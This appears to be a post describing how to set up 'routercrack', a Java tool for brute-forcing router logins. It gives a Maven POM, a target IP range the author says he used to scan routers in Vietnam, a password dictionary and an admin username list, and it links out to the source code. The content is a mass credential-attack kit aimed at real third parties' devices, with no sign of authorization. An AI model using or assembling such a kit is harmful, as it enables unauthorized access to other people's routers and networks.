<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>

<groupId>cn.com.cisec</groupId>
<artifactId>routercrack</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>jar</packaging>

<name>Routercrack</name>
<url>http://maven.apache.org</url>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
<version>4.3.5</version>
</dependency>

<dependency>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-resources-plugin</artifactId>
<version>2.6</version>
</dependency>
</dependencies>
</project>

3.里面的ips.txt是要扫描的ip地址(下面的地址是越南的ip,我用来扫描越南的路由器)

113.160.0.0/11

4.passwords.txt是密码字典，暴力破解的密码库

admin
111111
123qwe123
abc123
123456
xiaoming
12345678
iloveyou
qq123456
taobao
root
wang1234
password
12345678
qwerty
111111
monkey
123123
654321
superman
qazwsx
michael
football
dragon

5.users.txt用户名的字典

admin
administrator

6.然后是最重要的源码信息

http://pan.baidu.com/s/1eQPOk9O